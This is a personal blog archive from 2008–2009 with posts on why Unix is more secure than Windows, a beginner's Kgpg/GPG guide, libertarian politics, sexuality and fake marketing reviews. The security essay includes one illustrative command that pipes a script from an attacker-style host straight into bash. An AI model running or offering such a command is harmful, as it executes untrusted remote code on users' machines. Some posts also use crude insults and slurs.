Anarchist Without Objectives

Rambling: Unix, Windows, and Security

2009-02-15T16:37:00.000-08:00

I've become more and more interested in computer security the more I've read about it. The principles and practices are fascinating. And the theories about why some observable phenomona occur are at least thought provoking.

Here's my short tract on why Unix is more secure than Windows.

To start off, 99% of the lowest 50% on the technical literacy scale use Windows. It's not their fault, they just don't know any better. You need to know enough about computers to know that Macs have advantages over Windows to want a Mac, and you need at least moderate computer usage skill to get anything else on your computer. This means that almost all of the least competent users are using Windows.

Technical competence of the user is the SINGLE BIGGEST FACTOR in the security of any particular system. Consider that if you give an idiot an OpenBSD system (possibly the most secure in the world) and set it up for him and lock him out of configuring anything outside his home directory, there's no guarantee he won't come back to you and say "I was trying to get youtube working and now my files are gone/the computer runs slow/I keep getting popups/Whenever I copy a file it gets deleted/etc. Because even if the user is restricted to their little home folder, all that someone needs to have control of that system is to get the person to run a command like "wget -o - http://skript.kidiz.net/pwnbox.sh | bash -" and then there's no telling what corruption can happen within that profile. The last time I regularly used Windows XP, the only good protection I had was my router (being behind a NAT increases security), and I had no issues at all. (For perfect honesty I also had spybot, but I rarely ran scans, they never found anything, and I never got alerts about registry changes unless I actually changed something.)

Now, computers are dumb. Like cars. They have no idea what you're thinking, they just do what they're told. So who tells your computer what to do other than you? Well, the people that wrote your operating system.

Windows was originally concieved as a single-user operating system, simply a platform to run applications from floppies and later CD's. In such a world, Windows would have been a fairly good operating system, with few and likely easily fixable security issues which would have required hardware access to the machine anyways.

Unix was designed as a multi-user operating system. It shows in various ways, one of the most obvious being the filesystem permissions system (Unix has different read/write/execute permission sets for the user that owns the file, the group that owns it, and what just anyone can do to it). This design lent itself well when networking started to become more and more important. It certainly helped that the original TCP/IP stack was written for BSD (a Unix distribution). It was possible to have network services (such as ftp, telnet, and http servers) run distinct from each other. In a typical modern Unix system, there are various default accounts that the user will never log in with, such as "ftp", "nobody", "daemon", "sys", and many others. There's also the administration-only user, "root". Unix leverages this multiuser permissions system to increase it's security. Even if the ftp server was open to a vulnerability that allowed an intruder to run code, the code would only be executable as the "ftp" user, and thus could not change the startup scripts or delete important files (except the files that the "ftp" user owned, which in practice meant only the things the ftp server required being able to read and write in order to run).

The idea of a single-user system though, is that the program can do whatever it wants, seeing as "only the user would be telling the computer what to do". The computing landscape has changed drastically since then, especially with the rise of the internet. Once you network this system, a single security flaw can let anyone on the network tell that computer what to do, unhindered. After all, "only the user would be telling the computer what to do". The assumption fails in a networking context. Things were better in the NT>2000>XP>Vista line than in the 95>98>ME line, but many problems continued because Microsoft wanted to maintain backward-compatibility.

This leads to the next problem, which is open vs closed source. In this particular context, backward compatibility is necessary because Windows programs are very often distributed ONLY as binaries, the most specific and inflexible instructions that a computer can be given (binaries are extremely difficult to modify without breaking a program, but they are the only thing a computer really understands). You can't change just one little thing without being careful, otherwise it may break an application that depends on it. In the open source world, this isn't a huge issue. Open source means you can see the more high-level instructions that the computer is being given, and change it easily if necessary due to some change in the system. Open source software is more flexible in this regard. Open source software is not just written, compiled, and released, with the creators then being free to sit back and make money off it. Open source software is invariably an ongoing project, and the maintainers make sure that the program works on as many platforms as possible. They have automated the process of building the flexible source code into an executable binary depending on the environment that the binary will be built in. A different binary will be produced if a different function library is present, or a different compiler is available, or the application must run on a different kernel. The process of building it determines what it needs to build depending on what has changed, and builds it so that it works.

Windows must maintain binary compatibility, the most rigid and inflexible kind, requiring that what might now be recognized as bad decisions must still be followed, lest the programs fail to run properly. Unix, in the vast majority of the case, needs to maintain only source compatibility. And even then it is fairly loose, as programmers who prefer different platforms will often "port" a program, change the source code so that it runs on the system that they want it to. The whole system is quite free to grow and develop and change. Something that looked like a good idea 10 years ago may be a stupid idea and a security hole now. Unix systems can fix these problems more easily.

What this means is that old Windows bugs die hard, and new Unix bugs are solved usually within days of their discovery, and often with around an hour of programmer time spent on it.

This leads me right into my next point, repositories. Most free Unices (plural of Unix) have a repository, or a few repositories, for software packages. This is necessary because each system works slightly differently, and the program needs slight modifications to make it run on each system. FreeBSD has a system called "ports". Gentoo has a similar system based on FreeBSD's system, which is called "portage". Ubuntu has a program called Synaptic to manage software. OpenSolaris has pkg. OpenBSD has pkg_add. The iPhone (yes, it runs a variant of Unix) has the App Store, or Cydia if you jailbreak it.

These repositories are trustworthy resources for applications. The programs available in them are (with a few exceptions) free and open-source. To install software, a user often needs to do nothing more than open the package management software, check a box, and click apply. The package manager checks the versions of everything and if there is an incompatibility, the user is notified, and often directed as to what action must be taken to fix it. If there aren't any problems, the package manager, depending how it works will either download a binary and install it, or will download the source code, apply any "patches" needed to make the source code compile into a binary that fits the system, and then installs the binary made from that.

Software management in Windows is comparatively atrocious, dirty, and insecure, requiring first determining what you want a program to do, then looking for a program that merely promises to do that in a place where claims need not be verified and cannot be second-guessed, internet advertising. The Windows user then downloads an executable and runs it. The novice Unix user is not used to running applications from untrusted sources as a normal course of using their computer. The novice Windows user is. The novice Windows user is also rarely if ever warned not to run their normal user account as an administrator. Only recently did Microsoft address this by having even administrator accounts run as regular users and only when necessary would temporarily become the Administrator. It is the literal truth that Windows users execute arbitrary code as root and don't think twice. The repository model is far more secure than Windows' model.

To make things equivalent, the open source method is similar to requiring different versions of a program depending whether you have Windows XP or Windows Vista. The way closed-source software is distributed makes this extremely impractical. On the other hand, for Unix, maintaining backward compatibility is impractical for the purposes many of these systems need to do. Unix is an extremely flexible family of operating systems, running on everything from toasters to cellphones to Roadrunner (currently the world's fastest supercomputer) and everything in between. For the toaster version of Unix (I'm thinking of NetBSD) to have all the same things as the version of Linux running on Roadrunner would simply be stupid. Putting enough hardware in a toaster to run the same networking stack as Roadrunner is obviously impractical. Windows, by contrast, rarely has to run on anything less powerful than a netbook these days. And for what are called "embedded" applications like cellphones, even Microsoft has to make big enough changes to break backward compatibility. You can't run Windows Mobile applications on Xbox, nor run Xbox games on PCs (at least not without "porting" them).

There's no technological reason why Unix couldn't maintain perfect backward compatibility as it kept growing forward. In fact, Sun's Solaris operating system tries to do just that. It's worth noting that a few years ago, Sun released an open-source version of Solaris, called OpenSolaris. While Sun will continue to maintain Solaris and it's backward compatibility with earlier Solaris applications, OpenSolaris has no such requirement in it's releases. Likewise, there's no technological reason why Windows couldn't maintain repositories. What determines this isn't what is technologically possible. The source model tends to direct a project in one direction or another, either toward repositories of ports or toward one-size-fits-all.

I'm just saying that it is neither a coincidence nor a direct causal law that open source projects come up with more secure ways to do things than closed-source ones.

So you can imagine it frustrates me when people say that the main reason Unix doesn't have all these viruses and worms and spyware and adware is because it's too small to pay attention to. Unix is more secure because of the way it is developed. It's more secure because of the way it was originally designed. There is idea, and then there is implementation. It is fallacious to say that the only ways Unix could be more secure than Windows are an effect of popularity, as it is implying that security only exists in implementation. This is not the case.

A rarely used retort which should be obvious is that a single server can be worth well more than a thousand desktops and laptops. What do you think a cracker would rather have control of, your underpowered Vista-burdened desktop with a DSL connection, or a server in a data center with a gigabit Internet connection, probably hosting a MySQL database with possibly sensitive information? It's obvious that the people saying these things think that the only computers that exist are desktops and laptops full of pictures of people's kids and their favorite music and their favorite games. That's all they've ever seen, so that's all the crackers have ever seen. And as Windows is all that they know, they cannot imagine a system so different from Windows as to be more secure in anything but implementation. The crackers are not after sheer numbers of machines. While numbers are good, they also evaluate the value of each specific machine. In short, why would they target your limited Vista desktop rather than some of the Bank of America's Solaris machines? If Unix is more secure only in implementation, as implied, why would they so prevailing go after the small fish when the big prize lays in the equally insecure Unix system?

The user is what makes or breaks the security of a system.

(The word "cracker" was used in this work to mean the same thing as the colloquial meaning of "hacker". However, "hacker" has multiple meanings and not always negative, for instance, a "white hat" hacker is not belligerent or malignant. "Cracker" on the other hand is never used positively.)

Beware of Morons

2009-02-15T14:05:00.000-08:00

From: http://reviews.cnet.co.uk/roryreid/0,139101702,49294707,00.htm

Open-source anti-virus -- the silent killer

People recommend I use open-source software all the time. The Nate Lanxons of this world extol the virtues of Ubuntu and OpenOffice as if these apps were their own offspring. They tell me the programs are free, easily available and in many cases just as effective as their commercial counterparts.

For the most part, I agree -- except where security is concerned. The idea of entrusting the safety and integrity of my data to a piece of software cobbled together by spotty teenagers and smelly men who prioritise facial hair over bodily hygiene is extremely insulting to me. I'd rather hire a rabid pit-bull as a babysitter.

In my opinion, the open-source model simply doesn't work for something as fast-moving and potentially catastrophic as malware. Whereas commercial vendors such as Trend Micro and Symantec have hordes of software engineers in different time zones writing new signature files within minutes of a new virus appearing, Mr Open Source Developer is more likely to put it off until he's finished eating his doughnut and picking his nose. By that time, you're more infected than a teenager in an STI walk-in clinic.

Sure, Linux users aren't that likely to get viruses in the first place, but many Linux file and mail servers pump venom to the Windows boxes they service -- like carriers of a digital disease. And don't talk to me about heuristic scanning, because that's about as effective as a life raft made of cheesecake.

Linux versions of commercial anti-virus applications do exist, but I'm guessing nobody really uses them. Linux users are so deeply oblivious to the dangers of the common virus, and so averse to the concept of actually paying for software, that many simply won't bother.

Think of this as a wake-up call. If you're running Windows and decide to use open-source anti-virus programs such as Clam AntiVirus or ClamWin, you're an idiot. Plain and simple. If the predictions of some anti-virus companies (yes, they're biased, but I did say 'if' -- here's an argument against) come to fruition and Linux becomes targeted by virus makers en masse, the open-source community may not be there to save you. They'll be too busy coding themselves a virtual girifriend.

Thoughts on My Sexuality

2008-05-18T09:38:00.000-07:00

I have this mental filter that I use, where I look for ideas, strip them down to their essentials, compare them to other things, and decide if it's a particularly useful distinction by itself. If it isn't, I separate it out and put it in a separate mental compartment. I use this primarily to determine what is actually worth valuing and what isn't. It is fortunate that I only think about things that are important to me, as it allows me to filter out any stupid values I might have had.

I've thrown out a lot of potential subjects to be valued like this. This box is populated with concepts like "decency", "virginity", "sacredness", "humanity", "identity as a(n) [insert label]", and a whole lot of other things like these.

I get the feeling somehow that the most I could do with this technique is to sort of "emulate" wanting something I actually don't and that would make me act irrationally or against my own interests. Except I haven't seen this to actually happen. It's actually changing the way I think about things and what I want. I'm glad for it, too. I should figure out where I get this feeling from though.

It's a sort of testament to how powerful this has been at changing the way I value things that I think this is what turned me from, in an assumptive and possibly self-fulfilling sense, straight, to bisexual. If bisexual is even the right word for it. "Non-exclusive" is my preferred description of it, but I don't go around labeling myself.

A person's gender and sex are things I've ended up throwing away as a particular value after passing them through this filter. I keep the concepts themselves around to understand how others think, but they aren't important to me beyond this. In a sense I've become virtually blind to a person's sex in my attraction to them, and as far as gender I can't pick a preference between them without pointing out specific characteristics of masculinity and femininity, which will obviously exist to varying degrees in different people, rendering the distinctions themselves virtually useless in application.

Actually I think of masculine/feminine to be as false a dichotomy as the plaid/polkadot dichotomy. They aren't natural and complementary opposites, they're just mutually exclusive definitions. I don't even think in terms of masculine and feminine, they're useful as words, but useless as ideas.

The way I approach things now, I'm not attracted to men, I'm not attracted to women, I'm attracted to people, irrelevant of sex, gender, species, and race.

I have a personal bias toward "male" and "female" instead of "man" and "woman". "Man" means more than just "human with a penis". It implies masculinity. The same holds for "woman". I really prefer the more concise terms "male" and "female". They're so concise that engineers use them to describe interfacing components.

When I see a very masculine man, it doesn't do anything for me. Worse yet when they're imperfectly masculine and trying to be more masculine. I don't find it attractive at all. I find it deceptive. I find the preoccupation with masculinity, which I've discarded as something valuable in itself, to demonstrate a deeper preoccupation with illusion over substance. The same holds for extremely feminine women, especially ones that are making an evident conscious effort to be ideally feminine. I could never be attracted to someone I knew was bulimic or wore a corset to try to look good. But they'll find some equally shallow-minded partner and be as happy as two such people can be, I suppose.

I honestly couldn't get turned on by just appearances. Behavior I can find erotic no matter who is doing it, but simple physical appearance does nothing. I don't get off on pictures of genitalia, there's got to be behavior implied, otherwise I see it fit only for an anatomy textbook. Supposedly "provocative" clothing provokes nothing from me. I couldn't get turned on at a nude beach full of pornstars unless they're demonstrating their trade.

There's certain things I like about masculinity. Strength, toughness, confidence, productivity, I like those sorts of things. There's also things I like about femininity. Compassion, nurturing, teaching, I like those. There's things I dislike about both, too. Aggressiveness, passivity, arrogance, dependence, those sorts of things. I like strong, confident, independent females as much as males, and compassionate, caring males as much as females. But lumping these characteristics all into two piles and calling them "masculine" and "feminine" seems stupid to me. The only thing that strength and productivity have in common with each other and don't have in common with nurturing and teaching is that two are associated with manly men and two are associated with womanly women.

I like people who are content to just be people, and just be their natural, honest, free, independent selves.

Shut Up Already

2008-02-24T02:12:00.000-08:00

Reading libertarian discussion for me has become like reading a book, then a crappy sequel, followed by a crappier sequel, followed by the worst sequel yet, followed by the worst sequel ever. There's enough people out there talking about why "free healthcare" doesn't work and they're right, it doesn't, but you aren't doing a whole lot of good with that trillion-cell megaprocessor in your skull if all you can do is give outputs identical to the inputs.

Why does government program X suck? It's a countereffective, immoral, expensive, arbitrary, inefficient, and competition-killing bureaucracy driven by political posturing and run by idiots. Of course, this describes every government program ever in the history of the world. Let's not go over this shit again.

We all know by now that taxation is bad, regulation is bad, tariffs are bad, quotas are bad, subsidies are bad, and prohibition is bad. When we forget this, in case we ever do, it doesn't take a lot of time at Mises.org to remember this, since they seem so eager to hammer it in at times. Let's not go over this shit again.

The state is a logically indefensible institution containing countless unresolvable contradictions. Corporations are legal fictions granting limited liability. Okay, we know this. Shut up.

I had the minarchy/anarchy debate. A few times. I'm bored of it. I don't gain any greater understanding of the world by arguing it anymore. I stopped arguing anarchy/minarchy when I stopped getting something valuable out of it. I'm way past getting anything out of that debate. I'm way past getting anything out of arguments from the efficiency of the market. I've learned probably 98% of what there is to know about these things, and the last 2% is stuff that nobody else knows either.

Fuck it.

There's a lot of stuff we don't know, or worse, stuff we don't know that we think we do. This is where the emphasis belongs. We don't all understand libertarian class theory. We don't all know the history of anarchism. We don't all know how to turn all our valuable libertarian insights into something concrete. We don't all know our own contradictions. Why are these things never addressed by libertarians? Why are libertarians too busy rehashing the infinitely hashed? Why do libertarians love beating the dead horse to death?

Let's figure out what we don't know. Let's talk to people with ideas we aren't familiar with. Let's look for our own contradictions, instead of other people's contradictions. Let's do something new.

But if you're not gonna help, shut up already.

Illustrated Guide to GPG for Noobs

2008-02-23T18:16:00.000-08:00

This is just a guide I'm making to show people I know how to learn GPG well enough that they can use it and figure out the rest from there. So I'm going to do everything in as easy a way as possible. If you are looking for advanced information about the command line GPG, put "man gpg" into the terminal or check the website.

First off, GPG is an open-source program based on PGP. GPG stands for "GNU Privacy Guard", PGP stands for "Pretty Good Privacy". It's used for encryption and signatures with are, for all practical purposes, unbreakable and unforgable, unless somebody gets their hands on your password or your secret key (don't give those out, by the way).

Before doing anything else you need to have the program and have a key pair. If you have any modern distribution of Linux there's a good chance GPG is already installed on it. No distribution I have tested does not include it. There is also a version for Windows, but the Linux version is better.

In Linux, GPG has two frontends that I have used: Kgpg (for KDE) and GPGP (for GNOME). The basic program, in it's original and most powerful form, is command-line based.

In Windows, I do not know of a fully-featured command-line version of GPG. The version of Gpg4Win I used provided me with Windows Privacy Tray as a frontend.

All three are similar enough in their general usage that it won't take much adaptation to do what you want based on this guide. But this one focuses on Kgpg, which is my favorite and in my opinion, the easiest.

Now, if you've got your GPG frontend open, you'll see something that looks roughly like this:

I believe most GPG frontends will detect on the first run that you don't have any keys, and will give you a prompt to make one. So make one, you'll need it. If you aren't prompted for one, you can look through the menu options and find "Generate Key Pair".

This should bring you to the same dialog you'd get if it had detected zero keys, which looks like this.

Fill out all the information you have to, and click OK. You'll be asked for a password:

And upon clicking OK again, you'll probably see a few random characters appearing and disappearing in a small window as it generates your key. It might be there for a little bit, but it'll be gone in 2 minutes at most, and give you this message:

If so, great, you've got yourself a key pair.

You get two keys when using GPG or PGP. One is your public key, the other is your private key. You give others your public key.

In encryption, someone encrypts a message with your public key. Now there's only one way to decrypt it, and that's using your private key.

In signatures, you sign a message with your private key. In order to check the signature, someone else uses your public key.

Whenever you use your private key, you'll be asked for your password. When you decrypt something or sign it, you need your password. Now I'll show you how to do that.

After clicking OK again, you'll be back at your key management window.

The bold key is the default. So now you've got your keys. But nobody else has your public key. So you need to send it to them. But to do that you need to get it.

In Kgpg you get these options. I haven't used email, but I assume it emails the key to someone else. Clipboard will "copy" it so that you can "paste" it somewhere else. Default key server is self-explanatory. File will save it to a text file where you tell it to. The ".asc" extension means it's an ASCII format text file.

Whatever method of output you use, send the key to somebody else who has or may soon get GPG. Post it on a forum. Send it to them in an email. Put it on your website. Whatever you want. Then you can start actually using GPG.

Now, you probably have two windows with these frontends:

The top window is the key manager, the second window is the editor. You use this second window to actually do your encyption and signing, where the real fun begins.

Type the message you want to encrypt or sign. In this case, I typed "Hello world!".

If you both encrypt and sign a file (you don't have to do both), you should sign it first, then encrypt. Not only does it make a much nicer, neat little block of text, it also makes it easier for the recipient to decrypt and see a signed message, than to get the encrypted message out of the signed block and then decrypt it. Sign first, then encrypt.

So let's sign it. Click the "Sign/Verify" button. You'll get this window:

Only private keys will be listed. If you have only one private key and a hundred public keys of other people, you'll only see your key here. So pick the key you want to use, and click OK.

Signing a message requires your private key, which means you need to use your password. The editor window will now show something similar to this:

Now your message is signed so that anyone with your public key can verify that you did indeed type this. With this signed message in hand, you can now post on forums full of assholes that keep editing your posts to make you look like a moron, and if they tamper with any part of it, someone checking the signature will know. You can also check the signature yourself. Click the "Sign/Verify" button again and you'll get something like this:

Unless you've modified the text, you should get a confirmation message.

Now that you've signed the file, let's encrypt it. You don't have to sign before encrypting, but if you do sign, do it before encrypting instead of after.

Click the "Encrypt" button.

When you encrypt something, it uses someone else's public key. Because it's not using a private key, you won't be asked for a password. Choose whoever you want to encrypt it for, and click OK.

Now your message is encrypted, and ready to be sent through the security gauntlet of internet tubes. You can encrypt this encrypted message if you want, but since the default GPG cipher can't be cracked, it won't do you any good, and it'll annoy the recipient.

Whenever you get an encrypted message, it'll look something like this. Suppose you're the recipient of this message. You can now decrypt it with your private key. Click "Decrypt". The recipient is specified in the encrypted block of text, so you won't get a menu of keys to choose from. Decryption needs your secret key, though, so you will be asked for a password.

And now the message is decrypted, and you can check the signature to verify the sender. If you decrypt any message you find that uses your public key, keep in mind that anyone can get your public key, including people you don't know.

That's all you really need to know about using GPG for simple text-based communications. You can also encrypt files, encrypt to a non-ASCII file (I find ASCII to be more convenient), and do symmetrical encryption. Unfortunately the last time I used Gpg4Win, it didn't have an option for symmetrical encryption.

Symmetrical encryption in Kgpg is under the "Details" button at the encryption prompt. Symmetrical encryption does not use keys. Instead it bases the encryption scheme on a password you give it. Anyone with the password can decrypt it. This is less secure but more convenient if you're frequently sending messages to several of the same people at once.

If you want to get into the command line, you surrender ease-of-use for an amazingly powerful and flexible encryption tool. Frontends are designed to work well with what most people do with these programs, and they do that well.

So there you go. GPG for noobs.

While playing with it I noticed that the unencrypted copy of George Orwell's 1984 that I have in text format is about 587k. A symmetrically encrypted copy is about 320k, and a copy encrypted with my public key is 291k. So GPG will also compress files (quite well!) when encrypting them.

BSD

2008-02-12T19:00:00.000-08:00

I'm in BSD now. It's Unix. Feels a lot like Linux. Wonder why.

I'm using PC-BSD. It's a version of FreeBSD.

I might need to relearn a bit on the CLI because the default here is csh and I'm used to bash. I guess I could change it to bash if I needed too, I saw the option for it.

So far it's failed to operate at the correct screen resolution (1280x1024) and it won't detect my sound output device, so I have no sound. I also seem to have minor connectivity issues, such as failures to connect to blogger.com when doing autosaves and when trying to IM in Kopete. It works when I actually go to publish the post though. I think. If you can read this, that means it went through. Otherwise I'd go back and correct myself before I posted it.

Testing for FSK

2008-02-12T17:58:00.000-08:00

This post was made with "Compose Mode" disabled (because that's my default post editing setting and I forgot how to change it. There's also a setting in "Settings" that lets you turn of "convert line breaks automatically" that should help).

This table is copied from the source of fskrealityguide.blogspot.com as of 2007-02-11 21:15:00, but with all instances of "< br />" deleted and no line breaks added (as blogger would automatically re-add them). If my theory is right this should appear exactly two hard-returns below this period.

Fed Funds Rate	3.0%
3 month	2.2%
6 month	2.02%
2 year	1.9%
3 year	1.9%
5 year	2.68%
10 year	3.65%
30 year	4.45%

Backlash

2008-02-10T02:29:00.001-08:00

Today, reading some forums, I noticed something. Something changed.

Ron Paul's chances for presidency were destroyed in the most evident and obvious manner it possibly could on February fifth. Since then, the messages I'm seeing posted about the means to liberty have taken a sudden, unexpected, and fortunate turn toward dropping out, starving the state, and building up an alternative among the populus rather than in the state. The backlash has begun.

Among the posts is an excellent one by John Shaw on the Free Talk Live forum. Here's most of it. It was a response to the resident Randroid's rather sudden change to anarchism and a call to Shrug.

Yeah, it's shrug time. Has been for a while. (Ron Paul is going to finally cement it for a lot of people, I guess.)

I gave up after Harry Browne, personally, but I'm a little older, and started the Libertarian path quite a bit younger than a lot of people.

The conclusion I came to was that, AnCap or Minarchist doesn't matter at this point, because the system is falling apart. Every injection of faith in the system, like hopeful elections and economic upswings are just delaying the process. I may have been incorrect on one thing; People getting their hopes up and having them dashed (Ian's "Political Burnout") may well start to influence people to drop out of the system who wouldn't have otherwise. In that sense the Ron Paul thing might have been helpful.

I have my doubts though. Death throes of a nation can take a hell of a long time. So long as there is blood and a heartbeat, the vampires will feed.

Get away from places where government is strong, and develop skills that will help you reduce your dependencies on other people as much as possible. Clashing with the police state leaves a fine red mist and one less freedom lover.

The FSP probably isn't much help, the more I think about it, because they seem to be centered around propping up the system mostly. Voting, running for office, and generally justifying the existence of local governments. The activists are mostly interested in getting horribly persecuted as publicly and as often as possible. I don't think they are "Bad" like a lot of people, I just know that getting your ass thrown into prison over and over again loses you credibility with the people you are trying to convince.

Having said that, moving to Hew Hampshire isn't a bad idea in the sense of building a little solidarity with like minded people. If a bunch of people are moving there who are liberty lovers, well, it might be a good place to live. Go for it. It probably won't hurt, at least.

The system has got to go. No matter what the replacement is, AnCapistan or Minarchitopia or dictatorship of the purple helmeted yogurt slingers. The fruit has to fall and rot for a new seed to grow. Stop attaching chains to the side of the fruit. Stop attaching parachutes to slow its descent. Stop bolting on springs to cushion the impact. Stop spraying vitamin C to hide the blemishes, and for crying out loud, stop eating bad fruit. Bury your ass in a seed or get as far away as possible before it rots out.

Then we can worry about whether or not enough stolen government taxes to pick up garbage and shoot murderers is a crime against humanity.

There are going to be problems. There have always been problems. Some people are going to jump the gun and start sawing away at fruit stems. They're gonna advocate violence. Then they'll find suckers to implement violence. We rational people can't stop them. There will be people who will pigheadedly breathe their last breath trying to save the system. No abomination will ever be foul enough to make them get up off their sofa and take any action. They're the poor schmucks who will try fleeing the cities with an SUV, a crate of bottled water, and a box of beef jerky. We rational people can't stop them either.

No words will convince a man bent on killing not to kill, and no words will convince a pussy to grow a pair before it's too late. You can't help these people and they certainly can't help you. Get away from them.

Don't die in the streets like a mad dog, or under your bed like a cowering child. Remain rational.

Go to New Hampshire. Or go someplace else that's relatively safe. Do what you have to do and do it on your own terms, because you want to, not because some dipshit propagandist badgered you into it. Build your gulch someplace, where you have as little contact with your enemy as possible. Avoid their attention. Do what you have to do to not be noticed. Don't antagonize them and expect not to have a fight. And if you decide to have your fight, don't fucking drag anybody else down with you.

For some people, doing this includes paying some taxes. Get over it. For some people it's worth it to pay off the enemy in exchange for their life. Maybe they place some value on it or something. Calling them traitors isn't gonna do a damned thing but alienate the only friends you might have, if you are an AnCap. Or go ahead. No skin off my back.

Let the natural process take its course. Let the fruit fall in its own time. Don't waste your time involving yourself in things you can't effect. Or go right ahead. It's not my funeral. But if you love your life, treat it like something you love. Nurture it.

Keep your powder dry, avoid bad people. Wait it out and have a good of a time as you can doing so. It would really suck to look back on your life, realize that it will be long after you're dead that this whole thing is even going to happen, (The great collapse, whatever. Everybody thinks that something big and monumentally astounding is going to happen during their lives. It usually doesn't.) and see that your entire life was wasted holding up a bad apple.

There are also several smaller posts around the forum where people are realizing the hopelessness of politics and advocating the dropout. This is such a welcome sight. More libertarians than in recent memory, and possibly ever, are skeptical of the claim that you can use use civilized means to get civilization from the uncivilized, turn an institution of aggresion into one of justice, or shrink a parasite of such nature that it always grows. I just hope it lasts.

Selfpwnt.

2008-01-29T14:35:00.001-08:00

Some retards were trying to generate end of the world hysteria by saying today was the end of the world on youtube. See video, and notice every comment has been marked as spam and comments have been disabled. Isn't that nice of them? As soon as it's clear as day that you're wrong, you erase everything. Brilliant.

http://youtube.com/watch?v=1_Y6L9-VmK8

Lies, damned lies, and marketing.

2008-01-28T16:53:00.000-08:00

You should read into the stupid shit marketers do to get you to buy shit.

Right now I'm looking for a webcam. There are too many idiots on youtube to not talk back to, and comments suck. I live near a Radioshack, so I went to Radioshack's website to see what webcams they have and which to avoid. (Note: I did not go to google and type in "webcams" for reasons that will become apparent soon.) I found the following review. As you read it, try to guess who was writing it:

I Purchased this item for my wife so she can chat with her family in thge P.I. This webcam never shows dark shadows with it's rightlight technology & you don't get that annoying echo sound when speaking to someone because of the rightsound technology. It comes with alot of software so you can do many things with this camera. Also my 2yr old son loves taking his own photos with the camera.

It's almost funny how poorly disguised this is to someone that knows how to see it. Someone from Logitech posted a fake review on the Radioshack website. And they didn't hide it very well. It's like the marketing guy just decided one day to put a fake review up to improve sales. If you didn't see it before, read it again. Especially the way the idiot marketer uses (probably copyrighted, patented, and trademarked) "rightlight technology...rightsound technology". Legitimate customers don't bother naming the technologies because they don't give a shit; they just want it to work (except in a few rare cases like gaming consoles and other things people get extremely fanboyish about). Compare these two:

"Works. Installed easily, sharp picture. Would recommend."

"Love it! Easy installation with the included CD-ROM. Compatible with Windows 98 and up. Perfect for talking to friends on Skype. I recommended it to my parents and brother, they love it too!"

Notice: Name dropping. Uncontainable excitement. Present tense. Suggested use.

For a short time I looked into internet marketing. I saw the tricks of the marketing trade, the recommendations about how to manipulate people to make them click the "BUY NOW ONLY $27" button or the "YES! Subscribe me for only $4.95 per month!" Everyone should read this shit. Once you know how it works, it stops working on you. Marketing is all about bullshitting. Honest marketers cannot survive, they need lies, gimmicks, lies, misrepresentations, lies, scare tactics, lies, and even lies in order to get people to buy shit. Unless the honest marketer is a fucking genius pioneer in marketing techniques and reaching likely buyers more effectively than anybody else, they're going nowhere but broke, and even then, other marketers will just rip off the technique and use it themselves.

AOL has this hilariously bad but disgustingly effective tactic for keeping AOL users on AOL. I don't know if they still use it, but I'm inclined to believe they do. I don't have AOL and never will, so I couldn't call to cancel if I wanted. First, whoever at AOL picks up the phone when you call them to cancel, has specific instructions: DO NOT LET THEM CANCEL. Instead, their job is to figure out why you're cancelling and then show you that you are wrong to cancel because see that's not a bug it's actually a feature, or "look lemme just give you two free months and you can make your decision at the end of another two months, don't be rash, etc."

Did I mention you should read into the stupid shit marketers pull to get you to buy stuff?

Taors is gonna hate me for this, because he got really mad at me last time I mentioned it. This is his website (click me). On this website, which is pretty bad for an internet marketing campaign, he uses several of the internet marketer's tricks. I use his website as an example of what kind of site NOT to buy from. It reeks of marketing. The use of color to emphasize text. The quotes (which are all bullshit, just look at the sources: all websites full of other internet marketers). The bills in a woman's hand at the top. The checkmarks by the feature list. The threat that the book could go up to $39 at any time. The idea that buying the book brings you into an exclusive insider club of book scouters. The "forbidden fruit" of the "closely guarded secrets". Promises of independence and profits, later defaulted on in the earnings disclaimer.

I'm not jeopardizing a single sale of his by posting this. Even if I become the top hit for bookscoutingsuccess.com on every search engine. Because the kind of people that buy from websites like this are the kind of people that are too stupid to do any independent research or verification of claims.

I know Taors. He's a pothead slacker dropout from Kentucky who spends his time posting stupid immature one-offs on libertarian forums. He's no businessman. He's no entrepreneur. He doesn't even have the technical competence to put his own website together (see bottom for the name of the designer). What does his website say about him? He's a book scouter who used the income from this lucrative opportunity to fund a vacation to New Hampshire last year, and now he's offering you nothing less for the low, low introductory price of only $27!

And let me say it again. You should read into the stupid shit marketers pull to get you to buy their shit.

You make me proud.

2008-01-26T21:36:00.000-08:00

The browsers people who read this blog use:

But there is still plenty of room for improvement here.

Sapir–Whorf Hypothesis

2008-01-22T20:41:00.000-08:00

There's this neat language called Lojban that I've decided to learn because language is interesting, and weird languages are even more interesting. Also for fun and profit.

When learning about Lojban a heard about this thing called the Sapir-Whorf Hypothesis. Essentially it says that thoughts and words are mutually influencing, and of specific interest is the implication that some kinds of things are hard to think for some people because the language makes it difficult.

I'm no linguist, but I don't think the hypothesis to be directly true. But I can say with certainty that it is conditionally and indirectly true.

There's some things people want to think. There's some things people don't want to think. People can and will use the limitations of language as an excuse to not think something that they don't want to think. Not that that's the only thing they'll use, of course.

Labels, enemies, and rambling.

2008-01-19T08:04:00.001-08:00

Last week my boss asked if I was an anarchist. I didn't say yes. I wanted to say "What do you mean by that?" but he's the kind of guy that wants a "yes" or "no" from a question where the options are "yes" and "no", so I said "a little". Because I need to know what he thinks "anarchist" means before I can give an affirmative or negative answer to the question and have us still be on the same page. Anarchism is one of those things NOBODY understands unless they're an anarchist themselves. What would it mean to him for me to say yes? Does he think it means "angry youth with too much faith in humanity"? Does he think it means "someone that wants to throw bombs at McDonalds"? Does he think it means "someone going through a phase they'll grow out of"? Does he think it means "Metallica and Bakunin fan"?

People are always trying to label things. I swear it would be so much easier to communicate with people if I could disable their labelling-drive.

"...and legitimacy are mutually exclusive to each other, which means governments don't exist, only mafias."
"Are you an anarchist?"
"...yes."
"Anarchy won't work silly!"/"Who will build the roads?"/"GREATEST NATION ON EARTH" (yeah, right after I try to prove that nations don't exist, people do this)/"Democracy=Freedom"/"We blah blah us blah we blah blah our blah us."/etc, and now they completely ignore my rigorous logical proof and attack something they don't understand because it is their enemy.

If I could turn it off, I imagine it would go like this:

"...and legitimacy are mutually exclusive to each other, which means governments don't exist, only mafias."
"Well, no, because then who defines what's legitimate? Don't you need a government for that?"

At least in this second case, it's a good question that can be answered and the person is thinking about what I just said. Nothing stops the thinking like giving the other person the idea that they already know everything, which is what labelling does. So I like to avoid labels.

